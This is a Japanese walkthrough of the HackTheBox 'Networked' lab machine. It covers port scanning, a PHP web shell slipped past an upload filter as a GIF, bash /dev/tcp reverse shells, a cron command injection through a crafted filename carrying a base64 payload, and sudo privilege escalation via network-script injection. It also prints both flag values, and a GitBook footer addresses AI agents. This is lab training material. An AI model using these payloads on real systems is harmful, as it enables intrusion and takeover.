> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/networked-hackthebox-writeup.md).

# Networked HackTheBox 攻略記事

Networked HackTheBox Linux 攻略記事。Web 列挙、アップロード回避、コマンドインジェクション、sudo 権限昇格をカバー。

{% embed url="<https://app.hackthebox.com/machines/Networked>" %}

{% hint style="warning" %}
**スキル:**

* Web列挙とソースコードレビュー
* ファイルアップロード検証のバイパス
* Cronジョブのコマンドインジェクション
* sudoの誤設定の悪用
  {% endhint %}

## 偵察

### 作業環境の準備

ワークスペースを作成し、ターゲットへの接続を確認する。

```bash
mkt

ping -c 1 10.129.5.171
```

この応答により、ターゲットがLinuxホストであることが確認できる。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FL5o4L1iMKOZ8BWOSIv4X%2Fimage.png?alt=media&amp;token=02a9a145-941c-40f9-baaf-e4d484deea8f" alt=""><figcaption></figcaption></figure>

### TCPスキャン

フルポートスキャンで公開されているTCPサービスを特定する。

```bash
sudo nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 10.129.5.171 -oG allPorts
```

スキャンでポートが特定される `22` および `80`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F4UJGX45T2YD0e8psVDgg%2Fimage.png?alt=media&amp;token=24fc0c30-35bc-44b5-8a11-ee4c0a1bc4fb" alt=""><figcaption></figcaption></figure>

### サービスおよびバージョンスキャン

公開ポートで動作しているサービスとバージョンを特定する。

```bash
nmap -sCV -p22,80 10.129.5.171 -oN targeted
```

ホストはApacheを実行している `2.4.6` CentOS上でPHPを使用している `5.4.16`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FXCDgdDhhtiLxAF4KgwPA%2Fimage.png?alt=media&amp;token=7692d41f-dadb-43c1-9b07-a7680aafc81a" alt=""><figcaption></figcaption></figure>

### ポート80

Webサイトには次のメッセージが表示される:

> やあ、FaceMashの新バージョンを作っています！\
> 資金提供で手伝って、次のTyler\&Cameronになってください！\
> 今度の土曜のプールパーティーに来て、少しだけ覗いてみてください

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F0yLtkIk6txesBmqQ6yhZ%2Fimage.png?alt=media&amp;token=c963710e-f332-4f9f-8e14-66c6882a750f" alt=""><figcaption></figcaption></figure>

Gobusterでディレクトリを列挙する。

```bash
gobuster dir -u http://10.129.5.171 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 100
```

スキャンにより `/backup` および `/uploads`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FznYeDtjNIVbUGeOYABpl%2Fimage.png?alt=media&amp;token=f112e3c1-bbbc-4dbf-8e94-d1955ae3c281" alt=""><figcaption></figcaption></figure>

その `/backup` ディレクトリにTARアーカイブがあることが判明する。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FlSo25bKVZsZYVWUxiku6%2Fimage.png?alt=media&amp;token=f5d4e014-d7ec-48f9-b00e-2c57ee8991d2" alt=""><figcaption></figcaption></figure>

アーカイブをローカルに展開する。

```bash
tar xopf foo.tar
```

アーカイブには4つのPHPファイルが含まれている:

* `index.php`
* lib.php
* photos.php
* upload.php

その `upload.php` ページにはアップロードフォームがある。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F1vIL422PNpThM37wn0pb%2Fimage.png?alt=media&amp;token=e50d3cba-04e4-48a7-a4a9-a62af488f8d3" alt=""><figcaption></figcaption></figure>

アプリケーションが画像形式を検証するため、直接PHPをアップロードしても失敗する。

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

アプリケーションはファイルを無効な画像として拒否する。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FtzpKS5T5eRHWwvVmp6FN%2Fimage.png?alt=media&amp;token=202e3e70-c00d-439e-8afe-02eda2db2dfa" alt=""><figcaption></figcaption></figure>

GIFヘッダーと `.php.gif` 拡張子を持つファイルをアップロードする。

```bash
Content-Disposition: form-data; name="myFile"; filename="cmd.php.gif"
Content-Type: application/x-php

GIF89a
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

アプリケーションはアップロードを受け付ける。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FwNPxwupdXaD2NRexG2wu%2Fimage.png?alt=media&amp;token=14c78f57-ca92-495e-8d22-61f4f71c739f" alt=""><figcaption></figcaption></figure>

アップロードされたファイルはGIF拡張子にもかかわらずPHPコードを実行する。

```bash
http://10.129.5.171/uploads/10_10_15_2.php.gif?cmd=id
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCnR6CtmQhfFfl3lU2xBy%2Fimage.png?alt=media&amp;token=05c172cc-17bd-44b5-90c3-0681c7bf0aaf" alt=""><figcaption></figcaption></figure>

ポートでリスナーを起動する `443`.

```bash
sudo nc -nvlp 443
```

コマンド実行を利用してリバースシェルを返す。

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.15.2/443 0>%261"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FcVoVCtWyymdKrx7YmYwC%2Fimage.png?alt=media&amp;token=fe488c1d-2785-4ade-8057-503d541e8780" alt=""><figcaption></figcaption></figure>

### 次に移動する `guly`

スケジュールされたタスクが `/home/guly/check_attack.php` を3分ごとに実行する。

```bash
*/3 * * * * php /home/guly/check_attack.php
```

スクリプトは以下のファイルを調べる `/var/www/html/uploads/`.

```php
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
    $msg='';
  if ($value == 'index.html') {
    continue;
  }
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}

?>
```

スクリプトは各ファイル名を安全に扱わずにシェルコマンドへ渡している。細工したファイル名でコマンドを注入する。

リバースシェルのペイロードをエンコードする。

```bash
echo "bash -i >& /dev/tcp/10.10.15.2/4444 0>&1" | base64
```

エンコードされたペイロードは次のとおり:

```
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yLzQ0NDQgMD4mMQo=
```

悪意のあるファイル名を作成する。

```bash
touch ";echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yLzQ0NDQgMD4mMQo=' | base64 -d | bash;"
```

ポートでリスナーを起動する `4444`そしてスケジュールされたタスクを待つ。

```bash
nc -nvlp 4444
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FzKfNlqAmd3pwJibgJ8jt%2Fimage.png?alt=media&amp;token=15b85540-e21e-459d-b86c-e9294eea25e0" alt=""><figcaption></figcaption></figure>

スケジュールされたタスクは次のユーザーとしてシェルを返す `guly`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F04IqMUuq3ooyBn44P3d3%2Fimage.png?alt=media&amp;token=91098574-0cac-4abb-9b64-120fa3ab1757" alt=""><figcaption></figcaption></figure>

### user.txtフラグ

```
fbeee367bab941cefca951caef664f27
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FNfBLf09GAsb3eGX2noSS%2Fimage.png?alt=media&amp;token=f6aedac1-f708-45e3-b895-abfe0f9abd06" alt=""><figcaption></figcaption></figure>

### 権限昇格

実行可能なコマンドを確認する `guly` 使って `sudo`.

```bash
sudo -l 
```

ユーザーは次を実行できる `/usr/local/sbin/changename.sh` として `root`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FmoMusce0sdPDjJOme9DZ%2Fimage.png?alt=media&amp;token=8403e5cf-c898-4f0f-8112-58c9c0c7f8dd" alt=""><figcaption></figcaption></figure>

スクリプトはユーザー制御の値をネットワーク設定ファイルへ書き込む。

```bash
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
	echo "interface $var:"
	read x
	while [[ ! $x =~ $regexp ]]; do
		echo "wrong input, try again"
		echo "interface $var:"
		read x
	done
	echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
  
/sbin/ifup guly0
```

入力フィルタはスペースとスラッシュを許可する。 `ifup` が生成された設定を処理すると、 `test /bin/sh` シェルを起動する。

スクリプトを実行する。

```bash
sudo /usr/local/sbin/changename.sh
```

どのプロンプトでも、次を入力する:

```
test /bin/sh
```

これにより次のユーザーとしてシェルが開く `root`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FOOsz81PTDHASwxFgqP6K%2Fimage.png?alt=media&amp;token=a870548c-b0df-45a9-a53c-12a0eb17a33f" alt=""><figcaption></figcaption></figure>

### root.txt フラグ

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fj8hpcKmC3IcIXmwzinG9%2Fimage.png?alt=media&amp;token=4e26a449-7529-41ab-90f4-83542270f047" alt=""><figcaption></figcaption></figure>

```
6fa61de6fa918d2db507070fec1364e8
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/networked-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
